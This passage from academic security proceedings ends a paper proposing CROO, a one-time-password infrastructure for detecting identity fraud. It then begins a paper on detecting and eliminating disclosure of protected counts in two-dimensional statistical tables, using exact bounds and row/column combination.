✓ D12.Determination of Malicious Fraud Claims. I can determine† whether U
is honest when claiming that xU* has been used without proper authorization.

Communication Security Evaluation Criteria

✓ C1. Protection Against Physical Exposure of xU*. S protects xU* from being
visually captured (e.g. via shoulder surfing) by unauthorized parties, without
requiring U ’s conscious cooperation.

✓ C2. Protection Against Digital Exposure of xU*. If xU* is cred-info, S pro-
tects xU * from being accessed by unauthorized parties using computer sys-
tems. For example, S may protect xU* from being captured in an intelligible
form when xU* is communicated over untrusted channels (e.g. the Internet).

✓ C3. Protection Against Replay Attacks. S prevents (or reduces to a negligible
proportion) reuse of electronic messages sent to impersonate U .

✓ C4. Protection Against Man-In-The-Middle Attacks. S prevents (or reduces
to a negligible proportion) impersonation of U through tampering or injec-
tion of messages between parties used by S.

✗ C5. Protection Against Denial of Service Attacks. S prevents (or reduces to
a negligible proportion) denial of services against U .

Specific applications may require that subsets of the proposed criteria be met
(as best as possible), but universal IDF solutions may be required to meet many
or even all criteria. For practical purposes, instant detection of credential cloning
and theft (see D10 and D11) might be optional for universal IDF solutions; the
existence of cloned cred-tokens may be more difficult to detect (with current
technologies) than their use.

Based on the above criteria, CROO is expected12 to provide usability benefits
for both users and relying parties; to detect IDF attempts; to identify cases of
committed yet previously undetected IDF; and to be resistant to a number of
communication-based attacks (e.g. replay and man-in-the-middle attacks, includ-
ing phishing and PC-based key logging). Two limitations of CROO are: its inability
to detect cases in which legitimate users perform transactions, and later repudi-
ate them; and susceptibility to denial of service attacks against specific users, by
attackers who have gathered sufficient and correct credential information.

12 This design-level paper considers a number of theoretical and practical issues of IDF
detection. We have not empirically confirmed our usability analysis through a proto-
type implementation, user lab, or field tests. This is left for future work.



CROO: A Universal Infrastructure and Protocol to Detect Identity Fraud 141

4 Related Work and Comparison

The design of CROO involves consideration for various aspects including: IDF de-
tection (before and after fraud); limitation of IDF consequences; methodological
generality (universality); device capture resilience; and deployability. In the fol-
lowing paragraphs, we review work related to these aspects. A more extensive
literature review is presented in an extended version of this paper [24].

Password-based Authentication. Static password schemes,13 one-time pass-
word (OTP) schemes [18], password schemes resilient to shoulder surfing attacks
[12,27], and schemes generating domain-specific passwords from a combination
of single user-chosen passwords and multiple domain-specific keys [26,11] can all
be used to authenticate users and thereby solve parts of the problem of phishing
and/or IDF. Our scheme can be viewed as a careful combination of known and
modified tools and techniques (e.g. cell phones, non-verifiable text [19], OTP-
based authentication, and symmetric and asymmetric cryptography) to detect
IDF.

Limited-Use Credit Card Numbers. Rubin and Wright [28] propose a scheme
for off-line generation of limited-use (e.g. one-time) credit card (CC) numbers.
While similar in some ways, CROO is universal, and is designed to counter device
capture attacks (through the use of PIN-encrypted unverifiable keys). Singh and
dos Santos [30] describe another scheme for off-line generation of limited-use cre-
dentials. Unlike our scheme, Singh and dos Santos’ is not meant to be universal and
counter device capture attacks. Shamir [29] describes a scheme to generate one-
time CC numbers via an online interactive procedure whereby CC holders obtain
these numbers from CC issuers. The number-generation procedure in Shamir’s
scheme can be automated using a plugin installed on user PCs. This does not (and
is not meant to) counter attacks whereby users’ browsers or PCs are compromised
e.g. via PC-based virus infection or key-logging attacks. Molloy et al. [23] propose
a scheme for off-line generation of limited-use credit card numbers; their scheme
is susceptible to dictionary attacks on user passwords.

Limiting the Effect of Cryptographic Key Exposure. Public-key schemes
[5] have been proposed to limit the effect of key exposure by decreasing the odds
that unauthorized public-key signatures be issued. Just and van Oorschot [13]
suggest a method to detect fraudulent cryptographic signatures. CROO addresses
the more general problem of IDF committed with cloned cred-info.

Device Capture Resilience. The idea of capture resilience was suggested by
Mackenzie et al. [20] to detect attempts of off-line password-guessing attacks on
password-protected mobile devices, by requiring password-based user-to-device
authentication to be mediated (and, ergo, detectable) by online servers. In ad-
dition to differences in the way user passwords are generated in CROO and these
schemes, CROO generates, for easier deployability, user credentials which can be

13 Including commonplace typed textual password mechanisms, and strengthened pass-
word schemes [1].
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formatted as existing, typically low-entropy credentials (e.g. credit card num-
bers), while the aforementioned capture-resilient schemes use either high-entropy
cryptographic keys or public-key encrypted PINs as user credentials.

OTP-Generating Tokens. Various companies (e.g. Aladdin, RSA and Mas-
tercard) have developed variants of a scheme whereby hardware tokens or mobile
device software are used to generate OTPs which are then manually input into
PCs, in cleartext form, for remote user authentication and/or transaction autho-
rization. Existing variants of this scheme are not (and not meant to be) simul-
taneously universal, usable without a vendor-specific hardware token, resilient
to device capture, and immune to phishing and PC-based key-logging attacks
whereby OTPs are copied and then used for unintended transactions.

IDF Detection via Location Corroboration and Personal Devices. Van
Oorschot and Stubblebine [31] propose an IDF detection scheme for on-site trans-
actions, whereby users’ identity claims are corroborated with trusted claims of
these users’ location. Mannan and van Oorschot [21] propose an authentication
protocol involving an independent personal device, and survey related schemes.

SET and Certificate-Based PKIs. SET [10] allows credit card (CC) holders
to obtain goods or services from merchants without revealing their CC informa-
tion to the latter. SET is not designed to be used for multiple classes of cred-
tokens, nor does it specify methods to identify cases of committed yet undetected
IDF. SET also employs user-specific (i.e. CC holder) private keys in a certificate-
based public-key infrastructure (PKI); we favor the use of OTPs as user authen-
tication secrets, mostly because their misuse can be subsequently detected and
their misuse detection does not call for an associated notification to a potentially
large population of parties relying on the validity of public-key certificates as-
sociated with compromised signing keys. SET also uses high-entropy user-keys,
whereas, for easier deployability, CROO allows to format user-credentials as exist-
ing low-entropy credentials.

5 Concluding Remarks

We address the general problem of IDF. We propose criteria to characterize and
compare instances of IDF, providing a framework to evaluate IDF solutions by
examining the usability, privacy-preserving capability, fraud detection capabil-
ity, and communication security of these solutions. We argue that complete IDF
solutions should provide mechanisms that detect the use of compromised pri-
vate credential information. Our proposed scheme (CROO) implements this idea
without requiring the collection of private behavioral information (in contrast to
statistical anomaly-based fraud detection schemes used, e.g., by banks to detect
credit card fraud). CROO associates each use of credential information with a one-
time password verified by an online trusted party F . F need not be the same for
all users (thus improving scalability). An important feature of CROO is its uni-
versal nature, i.e. it is designed to simultaneously be used with multiple classes
of applications and credential tokens, in both online and on-site transactions.
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CROO’s user credentials can be formatted as existing user credentials, thereby
making potentially easier the adoption of the proposed scheme. CROO also al-
lows each IDF victim to continue to use her credential tokens (e.g. credit cards)
provided she uses her portable trusted device to send new one-time password
setup information to F . This feature can be useful when it is preferable (e.g.
for time efficiency, convenience, or lack of alternative options) to continue to use
credential tokens, even though they have been cloned, rather than obtaining new
ones. This is appealing in cases in which it takes less time to go in person to a
single local party F (e.g. a trusted government agency’s office) to give new OTP
setup information, than having social security numbers replaced, or obtaining
new credit cards by postal mail. We encourage work on mathematical models
that help evaluate IDF detection schemes, but note the challenge of generating
realistic models (particularly for universal schemes). We also encourage further
exploration in the design of schemes that detect fraudulent uses of compromised
authentication keys.
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Abstract. Disclosure analysis and control are critical to protect sensi-
tive information in statistical databases when some statistical moments
are released. A generic question in disclosure analysis is whether a data
snooper can deduce any sensitive information from available statistical
moments. To address this question, we consider various types of possi-
ble disclosure based on the exact bounds that a snooper can infer about
any protected moments from available statistical moments. We focus on
protecting static moments in two-dimensional tables and obtain the fol-
lowing results. For each type of disclosure, we reveal the distribution
patterns of protected moments that are subject to disclosure. Based on
the disclosure patterns, we design efficient algorithms to discover all pro-
tected moments that are subject to disclosure. Also based on the disclo-
sure patterns, we propose efficient algorithms to eliminate all possible
disclosures by combining a minimum number of available moments. We
also discuss the difficulties of executing disclosure analysis and control
in high-dimensional tables.

1 Introduction

Recent years have seen a significant increase in the number of security breaches
of sensitive personal information. According to the list maintained by Privacy
Rights Clearinghouse, over two hundred million records containing sensitive per-
sonal information have been involved in security breaches in the US since 20051.
Numerous laws have been passed to protect the privacy and security of various
types of data such as student records2 and personal health information3. One
example is the Title 13 United States Code, which authorizes the Census Bureau
to conduct censuses and surveys; however, the Section 9 of the code prohibits the
Census Bureau from publishing results in which an individual can be identified.
In many applications such as economic planning, health care, social sciences, and
1 Chronology of data breaches. http://www.privacyrights.org/ar/ChronData
Breaches. htm

2 Family Educational Rights and Privacy Act (FERPA). http://www.ed.gov/policy/
gen/guid/fpco/ferpa/index.html

3 Health Insurance Portability and Accountability Act (HIPAA). http://www.cms.
hhs.gov/HIPAAGenInfo/
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census data evaluation, statistical databases are used to manage a large amount
of sensitive personal information. To mitigate the privacy threats and comply
with the privacy laws, it is critical to ensure that the information released in
the statistical database applications cannot be exploited by data snoopers to
disclose any sensitive personal information.

In this paper, we investigate the problem of disclosure analysis and control sys-
tematically in statistical databases. A statistical database is modeled as a data-
base relation of M records and N attributes. Each record contains some sensitive
personal information. In particular, the i-th record consists of values xi1, . . . xiN

for attributes A1, . . . , AN . Each attribute Aj has a finite number |Aj | of possible
values in its domain. An attribute can be either numerical (e.g., salary) or non-
numerical (e.g., address). To protect sensitive personal information, only some
aggregated statistics are released to database users. The aggregated statistics
are generated in the following process.

Let n-set (n < N) be a subset of database records that can be specified
using the values of n distinct attributes in a form Ai1 = a1, ..., Ain = an,
where Ai1 , ...Ain (in ≤ N) are n attributes and each aj is some value in the
domain of Aij . Note that an n-set may contain no records. Given Ai1 , ...Ain ,
the total number of n-sets is Πn

j=1|Aij | and these n-sets define an n-dimensional
table, called n-table [17], where each attribute corresponds to one dimension
of the table. The database has 2N such tables T1, . . . , T2N . In an n-table, one
can define finite moments

∑
i∈S xe1

i1xe2
i2 · · ·xeN

iN , where S enumerates the n-sets in
the n-table, and the exponents e1, . . . eN are nonnegative integers. The moment
that is derived from a n-set is called an n-set moment. A generic question of
disclosure analysis in statistical databases asks whether any set moment that
contains sensitive personal information can be inferred by data snoopers from a
set of seemingly non-sensitive set moments?

This question is generic since the moments can be used to derive most of the
statistics that are widely used in statistical database applications. It has been
shown that the moment over any set of records specified by a logical formula
over the values of attributes using operators OR, AND, and NOT can be derived
from some set moments [17]. For example, an n-set moment

∑
i∈S xe1

i1xe2
i2 · · ·xeN

iN

can be used to represent the count of the records in the n-set S if all exponents
are zero. In such case, the original database can be represented by the set of all
N -set moments in the N -table, and the de-identifying process of removing or
suppressing N−n attributes can be represented by the set of all n-set moments in
the n-table consisting of the n attributes that are not removed/suppressed. For
another example, an n-set moment

∑
i∈S xe1

i1 xe2
i2 · · · xeN

iN can be used to represent
the sum over any numeric attribute Aj in the n-set S if all exponents are zero
except ej = 1.

To illustrate the problem, consider a patient-treatment table given in
Figure 1. It shows a 2-table derived from patients’ records in a hospital, where
each 2-set moment denotes the count that a patient (P) has undergone a partic-
ular treatment (T). It also shows two 1-tables consisting of total counts that
are summed for each patient and for each treatment. A disclosure analysis
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T1 T2 T3 T4 T5 Total

P1 13 1 14 0 1 29

P2 2 0 2 1 0 5

P3 0 3 0 0 1 4

P4 1 0 2 2 0 5

Total 16 4 18 3 2 43

Fig. 1. Patient-treatment table

question asks whether the hospital can provide the total counts in the 1-tables
to a pharmaceutical company in a way that the company cannot infer which
patients have which diseases? If certain treatments are not considered to be sen-
sitive, the hospital may provide the corresponding counts in the 2-table as well
if the release of these counts lead to no disclosure of any sensitive count. Simi-
lar questions arise in many other applications. For example, national statistics
offices who publish statistics over race and income level must avoid inference
of any personal information such as at most three “wealthy Asians” living in a
specific district.

To address the disclosure analysis and control problem, we review the related
work (section 2) and define various types of possible disclosure based on the
exact bounds that a snooper can infer about any protected moments from avail-
able statistical moments (section 3). We focus on protecting static moments in
2-tables, which are extracted from statistical databases without updates. For
each type of disclosure, we reveal the distribution patterns of protected moments
that are subject to disclosure (section 4). Based on the disclosure patterns, we
design efficient algorithms to discover all protected moments that are subject to
disclosure (section 5). Also based on the disclosure patterns, we propose efficient
algorithms to eliminate all possible disclosures by combining a minimum num-
ber of available moments (section 6). To generalize our research, we discuss how
to protect statistical moments in high-dimensional tables (section 7) before we
conclude the paper (section 8). Due to space limit, we have to omit the proofs
of the theorems in this paper (including the lemmas and corollaries that are
necessary for the proofs). The complete proofs of the theorems will be presented
in a full version of this paper.

2 Related Work

The problem of protecting sensitive information from being inferred from non-
sensitive data has long been a focus in statistical database research [1, 16, 41,
20, 22]. The proposed techniques can be classified into restriction-based and
perturbation-based. Some restriction-based techniques limit the disclosure of
privacy information by imposing restrictions on queries [4, 40, 39], including
the number of values aggregated in each query [16], the common values aggre-
gated in different queries [18], and the rank of a matrix representing answered
queries [8]. Other restriction-based techniques eliminate disclosure by imposing
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restrictions on data structures, including partition [37], microaggregation [21],
generalization [28, 38], k-anonymity [35], �-diversity [33], and t-closeness [30].
The perturbation-based techniques protect sensitive information by adding ran-
dom noises. The random noises can be added to data structures [36], query
answers [3], or source data [2,32,7,34]. Recently, however, it has been discovered
that the original sensitive data can be estimated accurately from the perturbed
data [29, 27]; therefore, the perturbation-based techniques should be examined
carefully so as to protect sensitive data effectively.

Our disclosure control method can be classified as restriction-based since we
combine a minimum number of available moments in the process of eliminating
the disclosure of protected moments. Our disclosure control method is different
from other restriction-based solutions since it is developed based on the disclo-
sure patterns that are discovered in this paper for the first time.

Our disclosure control method is also different from typical data protection
techniques designed for protecting contingency tables (i.e., count tables), in-
cluding cell suppression, controlled rounding, and controlled tabular adjust-
ment. Cell suppression is an approach to suppressing sensitive cells as well as
some other cells so that the sensitive cells cannot be inferred from marginal
totals [11,14,24,25]. The challenge is to provide sufficient protection while min-
imizing the amount of information loss due to suppression [23]. In comparison,
our control method combines a minimum number of cells without further sup-
pressing them. In addition, our control method can be applied in the case where
all cells are protected and thus cannot be further suppressed.

Controlled rounding is another table protection method which rounds the cell
values in a contingency table to adjacent integer multiples of a positive integer
base [13, 12, 6]. It requires that the sum of the rounded values for any row or
column be equal to the rounded value of the corresponding marginal total. The
controlled round is effective for limiting approximation disclosure; however, it
may not be as effective as our method for limiting other types of disclosure.

Controlled tabular adjustment (or synthetic substitution) [15] uses threshold
rules to determine how some cells should be modified. It replaces a sensitive
cell value with a “safe” value (e.g., either zero or a threshold value) and uses
linear programming to make small adjustments to other cells so as to restore
the tabular structure. Similar to the controlled rounding method, the controlled
tabular adjustment method requires that some cell values be modified, thus
introducing errors to the protected data. In comparison, our disclosure control
method does not modify any values except combining a minimum number of
them before the release of data.

3 Basic Concepts

Consider a 2-table A with m rows and n columns of 2-set moments {aij | 1 ≤
i ≤ m, 1 ≤ j ≤ n} that are derived from a statistical database as described
in the introduction. Without loss of generality, we assume aij ≥ 0, as arbitrary
values in A can be easily converted to non-negative values by subtracting a lower
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bound of A. The results given in this paper hold in both integer domain and
real domain.

Denote a+j =
∑m

i=1 aij , ai+ =
∑n

j=1 aij , and a++ =
∑

ij aij , where a+j

and ai+ are 1-set moments of A and a++ is the 0-set moment of A. The 1-set
moments satisfy

∑n
j=1 a+j =

∑m
i=1 ai+ = a++, which is called the consistency

condition. If the moments are counts, the 2-table is usually called contingency
table in statistics.

In table A, some of the 2-set moments must be protected if they contain
sensitive or privacy information. The other 2-set moments and all of the 1-
set moments may be released. The disclosure of a protected moment is defined
based on the bounds that a snooper can obtain about the protected moment
from released moments.

A nonnegative value aij is said to be a lower bound of a protected 2-set moment
aij if, for any nonnegative table of {a′

ij} that has the same released moments as
A, the inequality aij ≤ a′

ij holds. A value aij is said to be the exact lower bound
of aij if (i) it is a lower bound; and (ii) there exists a nonnegative table {a′

ij}
such that a) the table has the same released moments as A, and b) a′

ij = aij .
An upper bound or the exact upper bound aij can be defined similarly.

Based on the exact bounds calculated for a protected moment from released
moments, four types of disclosure can be defined.

– Existence disclosure: The exact lower bound of a protected moment is
positive.

– τ-upward disclosure: The exact lower bound of a protected moment is greater
than a positive threshold τ .

– τ-downward disclosure: The exact upper bound of a protected moment is
less than a positive threshold τ .

– τ-approximation disclosure: The difference between the exact lower bound
and the exact upper bound of a protected moment is less than a positive
threshold τ .

Existence disclosure denotes the existence of non-zero moments. τ -upward dis-
closure is similar to existence disclosure except that the threshold τ is a positive
value rather than zero. Though existence disclosure can be considered to be a
special case of τ -upward disclosure if τ is allowed to take value zero, it is a typ-
ical type of privacy disclosure commonly used in statistical data protection [9].
τ -downward disclosure indicates the existence of protected moments that are
less than the threshold τ . τ -approximation disclosure is defined based on both
exact lower bound and exact upper bound. If the difference between these two
bounds for a protected moment is small enough, a snooper may estimate the
moment with a high precision.

Note that the disclosure measurements defined above can be considered as
extensions to the k-anonymity concept proposed by Samarati and Sweeny [35].
If each protected moment represents count in a statistical database, then main-
taining k-anonymity is equivalent to eliminating k-downward disclosure. Other
anonymization notions such as �-diversity [33] and t-closeness [30] take the dis-
tribution of database records into consideration, and these notions can be used
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to determine which moments must be protected and which moments can be re-
leased. For example, the �-diversity requirement implies that a moment can be
released if it is computed from a set of records that has at least � well-represented
values for each sensitive attribute. The t-closeness [30] requires that a moment
be released if it is derived from a group of records whose distribution with re-
spect to any sensitive attribute must be close enough to the distribution of the
attribute in the overall database within a distribution distance t. Given a set of
protected moments, our focus is to investigate the disclosure distribution, disclo-
sure detection, and disclosure control based on the exact bounds of the protected
moments that can be calculated from the released moments.

For convenience, let âi+, â+j , and â++ denote the revised values of ai+, a+j ,
and a++ by subtracting all the released 2-set moments in row i, column j, and
table A, respectively. In other words, âi+, â+j , and â++ give the sums of all
protected 2-set moments in row i, column j, and table A, respectively. Note that
the revised values âi+, â+j, and â++ can be easily derived by a data snooper
from released moments.

4 Disclosure Distribution

It is critical to understand the distribution of protected moments subject to
disclosure before we can design efficient solutions to eliminate the disclosure risk.
In this section, we first investigate how to derive the exact bounds for a protected
moment from released moments. We then discover the distribution patterns for
the protected moments that are subject to various types of disclosure.

4.1 Deriving Exact Bounds for Protected Moments

In a 2-table A, the exact bounds of a protected moment aij can be derived from
some of the released moments as indicated by the following

Theorem 4.1. In the case that all 1-set moments are released while all 2-set
moments are protected, the exact bounds for any protected moment aij are

max{0, ai+ + a+j − a++} ≤ aij ≤ min{ai+, a+j}

In the case that all 1-set moments and some 2-set moments are released, the
exact bounds for any protected 2-set moment aij are

max{0, âi+ + â+j − â++} ≤ aij ≤ min{âi+, â+j}

where âi+, â+j, and â++ are revised values of ai+, a+j, and a++, respectively.

The first part of this theorem is called the Fréchet bounds in statistics. We
generalize the result of Fréchet bounds to the tables in which some of the 2-set
moments may be released.
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Fig. 2. Typical distribution pattern for protected moments subject to existence disclo-
sure or τ -upward disclosure (dashed line: some protected moments in a row or column
are subject to disclosure)

4.2 Discovering Distribution Patterns for Protected Moments

Based on the exact bounds derived from released moments for protected mo-
ments, we discover that the protected moments subject to various kinds of dis-
closure demonstrate some regular patterns.

Theorem 4.2. Consider existence disclosure or τ-upward disclosure in a 2-table
where some 2-set moments are protected. If some protected moments are subject
to disclosure, they must appear in the same row or column.

The above theorem reveals the distribution pattern for the protected moments
that are subject to existence disclosure or τ -upward disclosure. Next, consider the
distribution of the protected moments that are subject to τ -downward disclosure
or τ -approximation disclosure. We have the following

Theorem 4.3. Consider τ-downward disclosure or τ-approximation disclosure
in a 2-table where some 1-set moments are protected. If a protected moment is
subject to disclosure, the other protected moments in the same row or column
must also be subject to disclosure.

Note that the distribution pattern for the protected moments that are subject
to τ -approximation disclosure or τ -downward disclosure is different from that
for the protected moments that are subject to existence disclosure or τ -upward
disclosure. The former pattern is in a single row or column, while the latter
must “fill” some rows or columns. Figures 2 and 3 illustrate typical distribution
patterns for different types of disclosure.

Let us return to the example shown in Figure 1 and assume that all of the
1-set moments are protected given the totals. There are only two protected
moments a11 and a13 that are subject to existence disclosure and τ -upward
disclosure with a threshold τ < 2. These two moments are in the same row.
There is only one protected moment a13 that is subject to τ -upward disclosure
with a threshold 2 ≤ τ < 4 and there is no protected moment that is subject
to τ -upward disclosure with a threshold τ ≥ 4. If the threshold is set to 5,
all of the protected moments (but no other protected moments) in row i = 3
and in columns j = 2, 4, and 5 are subject to τ -approximation disclosure and
τ -downward disclosure.
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Fig. 3. Typical distribution pattern for protected moments subject to τ -approximation
disclosure or τ -downward disclosure (solid line: all protected moments in a row or
column are subject to disclosure)

5 Disclosure Detection

An important task in disclosure analysis and control is to detect all protected
moments that are subject to disclosure. A naive approach is to check all of
the protected moments one by one by calculating its exact lower bound (two
addition/subtraction operations and one comparison operation) and/or exact
upper bound (one comparison operation). This naive approach requires checking
all protected moments in an m× n 2-table.

5.1 First Improvement

Based on the distribution patterns discovered in the previous section, we pro-
pose an approach that is more efficient than the naive approach for disclosure
detection. Our approach requires checking at most mn/2+(m+n−2) protected
moments in the average case, which is better than the naive approach which
checks at most mn protected moments. This is a meaningful improvement for
some information organizations (e.g., statistics offices) that routinely process a
large number of sizable statistical tables.

First, consider existence disclosure and τ -upward disclosure. According to The-
orem 4.2, the protected moments that are subject to disclosure must exist in a
single row or column. Based on this distribution pattern, we propose the following

Procedure 1. (Disclosure detection for existence disclosure or τ -upward
disclosure)

1. Starting from a11, check all protected moments one by one; proceed to step
2 once a protected moment ai′j′ is discovered to be subject to disclosure;
otherwise, output no protected moment being subject to disclosure.

2. Continue to check all protected moments in row i′. If no protected moment
is subject to disclosure, continue checking all protected moments in column
j′. Output all protected moments that are discovered in both step 1 and step
2 being subject to disclosure.

This procedure outputs all and only the protected moments that are subject
to existence disclosure or τ -upward disclosure because such protected moments
must exist in row i′ or column j′. The number of the protected moments checked
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by this procedure is mainly decided by the number of protected moments that are
checked in step 1, which is used to find the first protected moment that is subject
to disclosure. In the average case, the above procedure will check at most mn/2
protected moments in step 1. The procedure checks at most m+n−2 protected
moments in step 2. The time complexity of this procedure is a non-increasing
function of the number of protected moments that are subject to disclosure.

Second, consider τ -approximation disclosure and τ -downward disclosure. Ac-
cording to Theorem 4.3, the protected moments that are subject to disclosure
must “fill” some rows or columns. Based on this distribution pattern, we propose
the following

Procedure 2. (Disclosure detection for τ -approximation disclosure or τ -
downward disclosure)

1. Starting from a11, check all protected moments one by one; proceed to step 2
once a protected moment ai′j′ that is not subject to disclosure is discovered;
otherwise, output all protected moments being subject to disclosure.

2. Continue to check all protected moments in row i′ and in column j′. Let all
protected moments (if any) in row i′ and in column j′ that are subject to dis-
closure be ai′j1 , . . . , ai′js and ai1j′ , . . . , aitj′ . Output all protected moments
in rows i1, . . . it and in columns j1, . . . , js being subject to disclosure.

According to Theorem 4.3, if any protected ai′jk
in row i′ (or aikj′ in column

j′) is subject to disclosure, all protected moments in column jk (in row ik,
respectively) must be subject to disclosure given that the protected moment
ai′j′ is not subject to disclosure and jk �= j′ (ik �= i′, respectively). Therefore,
this procedure outputs all and only the protected moments that are subject to
τ -approximation disclosure or τ -downward disclosure.

The number of protected moments checked in this procedure is mainly deter-
mined by the number of protected moments checked in step 1, which is used to
find the first protected moment that is not subject to disclosure. In the average
case, the above procedure will check at most mn/2 protected moments in step
1. The procedure checks at most m + n − 2 protected moments in step 2. The
time complexity of this procedure is a non-increasing function of the number of
the protected moments that are not subject to disclosure.

5.2 Another Improvement

The first improvement requires checking at most mn/2 + (m + n − 2) moments
in the average case. In the worst case, it checks all the protected moments as
in the naive approach. We propose another improvement which may produce
better performance than the first improvement.

First, consider existence disclosure or τ -upward disclosure. We modify
procedure 1 to be the following

Procedure 3. (Disclosure detection for existence disclosure or τ -upward
disclosure)
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1. Enumerate row i′ in the order that âi′+ takes value from maxi{âi+} to
mini{âi+}

Enumerate column j′ in the order that â+j′ takes value from maxj{â+j}
to minj{â+j}

If ai′j′ is protected and subject to disclosure, proceed to step 2
If ai′j′ is protected and not subject to disclosure, output no protected
moment being subject to disclosure.

2. Same as step 2 in procedure 1.

The first step of this procedure is used to find the first protected moment. Ac-
cording to Theorem 4.1, the exact lower bound of this firstly discovered moment
is the largest among the the exact lower bounds of other protected moments due
to the order in which i′ and j′ are enumerated. If this firstly discovered moment
is subject to disclosure, the step 2 of procedure 1 is exploited to find all other
protected moments that are subject to disclosure; otherwise, the procedure ter-
minates since all other protected moments must not be subject to disclosure.
Therefore, this procedure outputs all and only the protected moments that are
subject to disclosure. Since this procedure involves sorting of the revised 1-set
moments in step 1, it requires more computation than procedure 1 in the worst
case. In the case that all 2-set moments are protected, procedure 3 will check
exactly one moment in step 1 (after discovering the largest 1-set moments in
m + n − 2 comparisons) and at most m + n − 2 moments in step 2 if step 2 is
executed.

Now, consider τ -downward disclosure. A protected moment ai′j′ is subject to
disclosure if and only if the revised moment âi′+ or â+j′ is less than τ . Therefore,
we propose the following procedure to discover all and only the protected mo-
ments that are subject to disclosure: Discover all i′ and j′ such that âi′+ < τ and
â+j′ < τ ; output all protected moments in the discovered rows i′ and columns
j′ being subject to disclosure. We call this improvement procedure 4. This
procedure checks m + n revised 1-set moments.

Finally, for τ -approximation disclosure, we classify the protected moments
that are subject to disclosure into two categories: (i) protected moments that
are subject to τ -downward disclosure; and (ii) protected moments that are not
subject to τ -downward disclosure. The protected moments in category (ii) must
be subject to existence disclosure since they are subject to τ -approximation
disclosure.

Procedure 4 can be used to discover all and only the protected moments in
category (i), while procedure 3 can be easily extended to discover all and only
the protected moments in category (ii). The union of the protected moments
discovered in categories (i) and (ii) is the set of the protected moments subject
to τ -approximation disclosure.

6 Disclosure Control

Based on the distribution patterns of the protected moments that are subject to
disclosure, we propose a control method to eliminate the disclosure in a 2-table.
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The basic idea is to combine each row (or column) that is subject to disclosure
with some other rows (or columns) with minimum impact to the number of
released moments.

By combining rows i1, . . . ik (combining columns can be interpreted similarly),
we mean that the 2-set moments ai1j , . . . aikj are combined to become a single
moment ai1j + . . . aikj for j = 1, . . . n. For convenience, we call {ai1j , . . . aikj}
a group of combining moments, and aik + . . . ajk their combined moment. A
combined moment is released if all of its combining moments are released before
combination; otherwise, the combined moment is protected4. After combination,
we release the sum of the protected moments in each row or column as its revised
1-set moment, and release the sum of all protected moments as the revised 0-set
moment. It is easy to derive the following.

Lemma 6.1. After some rows or columns are combined, the exact lower bound
of any combining moment is zero, while the exact upper bound of any combining
moment is the exact upper bound of its combined moment. The exact upper bound
(exact lower bound, respectively) of any protected moment that is not involved in
combination is nondecreasing (nonincreasing, respectively) after combination.

Consider existence disclosure or τ -upward disclosure. According to Theorem 4.2,
the protected moments that are subject to disclosure, if any, exist in a single row
or column. Our control method combines this row (or column) with one of the
other rows (or columns). According to Lemma 6.1, the exact lower bound of any
combining moment is zero after our method is applied. Therefore, our method
eliminates the disclosure of any combining moment. Our method does not make
any other protected moment that is not involved in combination subject to
disclosure since its exact lower bound is nonincreasing after combination.

T1 T2 T3 T4 T5

P1 13 1 14 0 1 34
P2 2 0 2 1 0

P3 0 3 0 0 1 4

P4 1 0 2 2 0 5

16 4 18 3 2 43

Fig. 4. Eliminating existence disclosure or threshold upward disclosure

Consider the patient-treatment table shown in Figure 1 as an example and
assume that all 2-set moments are protected. There are only two moments a11

and a13 subject to existence disclosure and τ -upward disclosure with τ < 2. To
eliminate the disclosure, our method combines row 1 with row 2 as shown in
Figure 4.

4 It is possible to relax our combination method so that more combined moments can
be released as long as such relaxation does not make any protected moment subject
to disclosure. For simplicity reason, we do not elaborate on this.
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T1 T2 T3 T4 T5

P1 13 1 14 0 1 29

P2 2 0 2 1 0 9
P3 0 3 0 0 1

P4 1 0 2 2 0 5

20 18 5 43

Fig. 5. Eliminating approximation disclosure or threshold downward disclosure

Next, consider τ -approximation disclosure and τ -downward disclosure. We as-
sume τ ≤ a++; otherwise, the disclosure cannot be eliminated even if we combine
all moments. According to Theorem 4.3, all protected moments that are subject
to disclosure, if any, must “fill” in some rows and columns. If the combination of
these rows makes the revised 1-set moment less than τ , we combine these rows
with some other rows until the revised 1-set moment is no less than τ (this is
achievable due to τ ≤ a++). Otherwise, we partition these rows into as many
groups as possible and combine the rows in each group such that the revised 1-
set moment in each group after combination is no less than τ . The columns are
processed similarly. According to Lemma 6.1, the exact upper bound of any com-
bining moment is no less than τ and its exact lower bound becomes zero after the
process. For any other protected moment that is not involved in combination, its
exact upper bound is nondecreasing and its exact lower bound is nonincreasing
after combination. Therefore, there is no disclosure after combination.

Consider the patient-treatment table shown in Figure 1 as an example and
assume that all 2-set moments are protected. All of the moments in row i =
3 and in columns j = 2, 4, and 5 (but no other moments) are subject to τ -
approximation disclosure and τ -downward disclosure with τ = 5. To eliminate
the disclosure, one may combine row 2 with row 3, column 1 with column 2, and
column 4 with column 5 as shown in Figure 5.

If multiple rows and/or columns are subject to disclosure, an optimization
problem can be formulated to address how to partition the rows or columns
into as many groups as possible (in order to maximize the number of released
moments). In the case that all 2-set moments are protected, this can be modeled
as follows. Given threshold τ and a set {s1, . . . , sk} of 1-set moments, find a
partition of {s1, . . . , sk} that yields the maximum number of groups with the
constraint that the sum of the members in each group is no less than τ .

This optimization problem can be considered as a dual problem of the Bin
Packing Problem, in which a set of k items {s1, . . . , sk} are stored using the
smallest number of bins with capacity τ . The constraint of the Bin Packing
Problem is that the sum of the members in each group (i.e., bin) is no larger than
the capacity τ , while in our problem the sum is no less than the threshold τ . The
objective function of the Bin Packing Problem is to find the minimum number of
bins while our problem seeks to obtain the maximum number of groups. It is easy
to know that our problem, like the Bin Packing Problem, is a combinatorial NP-
complete problem. The various heuristics (e.g., Best Fit Decreasing and First Fit
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Decreasing) and polynomial-time approximation algorithms designed for solving
the Bin Packing Problem [26] can be easily adapted to solve our problem. In
the case that some 2-set moments are released, this optimization method should
be further adapted as some of the revised 1-set moments may increase after
combination.

7 Discussion on High-Dimensional Tables

The disclosure analysis and control on 2-table can be extended to high-
dimensional tables that are derived from a statistical database. Consider a k-
table in which a k-set moment at1,...tk

is protected, while all 2-set moments
involving at1,...tk

are released or can be derived from some released moments
(e.g., (k − 1)-set moments). The disclosure analysis and control can be con-
ducted in each of 2k 2-tables in which at1,...tk

are involved. We note that it
is difficult to conduct disclosure analysis in a high-dimensional table directly
without recurring to 2-tables since no explicit formula is given in the literature
regarding the exact bounds of a protected moment in general. Recent studies in
high-dimensional tables have focused on estimating the exact bounds [10, 5, 31]
or giving the exact bounds in some special cases [19].

8 Conclusion

The major contributions of this paper can be summarized as follows. Firstly, we
